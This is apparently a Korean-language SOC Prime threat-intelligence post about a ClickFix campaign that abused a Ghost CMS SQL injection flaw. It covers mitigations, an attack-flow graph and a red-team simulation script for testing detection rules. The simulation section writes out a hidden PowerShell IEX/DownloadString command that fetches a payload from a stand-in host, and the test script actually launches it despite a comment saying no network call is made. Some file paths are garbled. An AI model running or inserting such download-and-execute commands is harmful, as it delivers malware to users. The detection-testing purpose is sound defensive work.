SOC Prime Bias: Critical

29 May 2026 07:08 UTC

거대한 ClickFix 악성코드 캠페인으로 700개 이상의 교육 및 기술 웹사이트 탈취

Author Photo
SOC Prime Team linkedin icon 팔로우
거대한 ClickFix 악성코드 캠페인으로 700개 이상의 교육 및 기술 웹사이트 탈취
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

공격자들은 Ghost 콘텐츠 관리 시스템의 치명적인 SQL 인젝션 결함을 악용하여 700개 이상의 교육 및 기술 웹사이트를 손상시켰습니다. 관리 API 키를 획득한 후, 방문자에게 가짜 Cloudflare 인증 프롬프트를 표시하는 악성 JavaScript를 주입했습니다. 가짜 페이지는 방문자에게 명령을 복사하고 붙여넣어 멀웨어가 설치되도록 지시했습니다. 이 캠페인은 사용자가 스스로 페이로드를 실행하도록 유도하기 위해 소셜 엔지니어링에 의존합니다.

조사

연구진은 이 문제를 CVE-2026-26980으로 식별했으며, Ghost 버전 3.24.0 부터 6.19.0까지 영향을 받았습니다. 성공적인 익스플로잇은 데이터베이스 콘텐츠에 대한 인증되지 않은 액세스를 가능하게 하여 관리자 API 키를 추출할 수 있었습니다. 공격자들은 훔친 키를 사용하여 사이트 콘텐츠를 변경하고 ClickFix 스타일 감염 흐름을 시작하는 악성 스크립트를 삽입했습니다. 주입된 코드는 사용자가 Windows Run 또는 PowerShell을 통해 명령을 실행하도록 독려하는 가짜 인증 창을 제시했습니다.

완화 방안

조직은 6.19.0 이 결함을 수정한 CVE-2026-26980버전 이상의 Ghost로 업데이트해야 합니다. 노출된 관리자 API 키는 즉시 회전해야 하며, API 액세스는 엄격히 제한되어야 합니다. 방어자는 웹 필터링 또는 브라우저 보호 기능을 갖춘 엔드포인트 보호를 배포하고, 사용자가 신뢰할 수 없는 웹사이트에서 명령을 복사하고 실행하지 않도록 교육해야 합니다.

대응

보안 팀은 Ghost 기반 웹사이트에서 악성 JavaScript 인젝션을 탐지하고 차단하며, 가짜 Cloudflare 인증 페이지를 모니터링해야 합니다. 엔드포인트에서는 이러한 미끼와 관련된 비정상적인 명령 실행 시도를 살펴보아야 합니다. 타협이 확인되면 주입된 스크립트를 제거하고, 영향을 받은 API 키를 재설정하며, 영향을 받은 클라이언트 시스템에 대해 포렌식 분석을 수행해야 합니다.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% Node Definitions action_sql_injection["<b>Action</b> – <b>T1674 Input Injection</b>: Exploit Ghost CMS SQL injection to read the database and obtain the Admin API key."] class action_sql_injection action action_content_injection["<b>Action</b> – <b>T1659 Content Injection</b>: Use the stolen API key to inject malicious JavaScript into site pages."] class action_content_injection action action_defacement["<b>Action</b> – <b>T1491 Defacement</b>: Deface the site with a fake Cloudflare verification dialog that displays a copyu2011paste command."] class action_defacement action action_user_copy_paste["<b>Action</b> – <b>T1204.004 User Execution</b>: Victim copies and runs the displayed command, satisfying the fake verification."] class action_user_copy_paste action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b>: The command launches PowerShell which downloads and executes the secondu2011stage payload."] class action_powershell action malware_clickfix["<b>Malware</b>: ClickFix<br/><b>Purpose</b>: Secondu2011stage payload delivered via PowerShell."] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% Connections action_sql_injection –>|leads_to| action_content_injection action_content_injection –>|leads_to| action_defacement action_defacement –>|leads_to| action_user_copy_paste action_user_copy_paste –>|triggers| op_user_execution op_user_execution –>|executes| action_powershell action_powershell –>|downloads| malware_clickfix "

공격 흐름

시뮬레이션 실행

전제조건: Telemetry & Baseline Pre‑flight Check가 통과되어야 합니다.

근거: 이 섹션에서는 탐지 규칙을 트리거하기 위해 설계된 공격자 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 내러티브는 식별된 TTP를 직접 반영하고 탐지 로직에 의해 예상되는 정확한 텔레메트리를 생성해야 합니다.

  • 공격 내러티브 및 명령:

    1. 소셜 공학 미끼: 피해자는 Cloudflare가 검증을 요구한다는 피싱 이메일을 받습니다. 이메일에는 “실행” 명령이 포함되어 있습니다:

      가짜 Cloudflare 인증 명령
    2. 피해자 상호작용: 사용자는 Windows 실행 대화 창을 엽니다 (Win+R) 및 정확한 문자열을 붙여넣습니다 가짜 Cloudflare 인증 명령.

    3. 명령 실행: 이 문자열은 숨겨진 PowerShell 원라이너에 매핑되어 악성 페이로드를 다운로드하고 실행합니다:

      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"

      실행 대화 창은 직접 powershell.exe 와(과) 위의 인수를 사용하여 CommandLine 필드가 해당 문구를 문자 그대로 포함하게 됩니다 가짜 Cloudflare 인증 명령 (공격자는 규칙을 유도하기 위해 명령 앞에 이 문구를 추가했습니다).

    4. 페이로드 활동: 다운로드된 스크립트는 웹 셸을 C:ProgramDatacloudflare 에 드롭하고 C2 서버에 연결하여 T1505.001을 만족시킵니다.

  • 회귀 테스트 스크립트: 다음 PowerShell 스크립트는 빨간 팀이 탐지 트리거 텔레메트리를 생성하기 위해 수행할 정확한 단계를 재현합니다.

    <#
    ClickFix “가짜 Cloudflare 인증” 실행을 시뮬레이션합니다.
    목적: Sigma 규칙이 정확한 커맨드 라인에서 발동되는지 확인합니다.
    #>
    
    # 단계 1: 더미 페이로드 준비(시뮬레이션된 웹 셸) – 실제 네트워크 호출 없음.
    $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1"
    New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
    Set-Content -Path $payloadPath -Value "# 더미 웹 셸 – 악성 코드 없음"
    
    # 단계 2: 피해자가 실행할 악성 커맨드 라인을 구성합니다.
    $maliciousCmd = @"
    Fake Cloudflare Verification Command
    powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`""
    "@
    
    # 단계 3: cmd.exe /c를 통해 명령을 실행하여 실행 대화 창을 시뮬레이션합니다.
    # 이는 프로세스 커맨드 라인에 문자열을 문자 그대로 보존합니다.
    $fullCmd = "cmd.exe /c `"$maliciousCmd`""
    Write-Host "`n[+] 악성 명령 시뮬레이션 실행 중..."
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null
    
    # 단계 4: Sysmon이 프로세스 생성을 로그할 수 있도록 잠시 일시 정지합니다.
    Start-Sleep -Seconds 5
    
    Write-Host "`n[+] 시뮬레이션 완료. 탐지 이벤트에 대해 SIEM을 확인하십시오."
    # 정리는 별도로 수행합니다.
  • 정리 명령: 더미 파일과 남아있는 프로세스를 제거합니다.

    # 테스트에 의해 시작된 남아 있는 PowerShell 프로세스를 중지합니다(여전히 실행 중인 경우)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "Fake Cloudflare Verification Command"} |
        Stop-Process -Force
    
    # 더미 웹 셸 폴더를 제거합니다
    Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "[+] 정리 완료."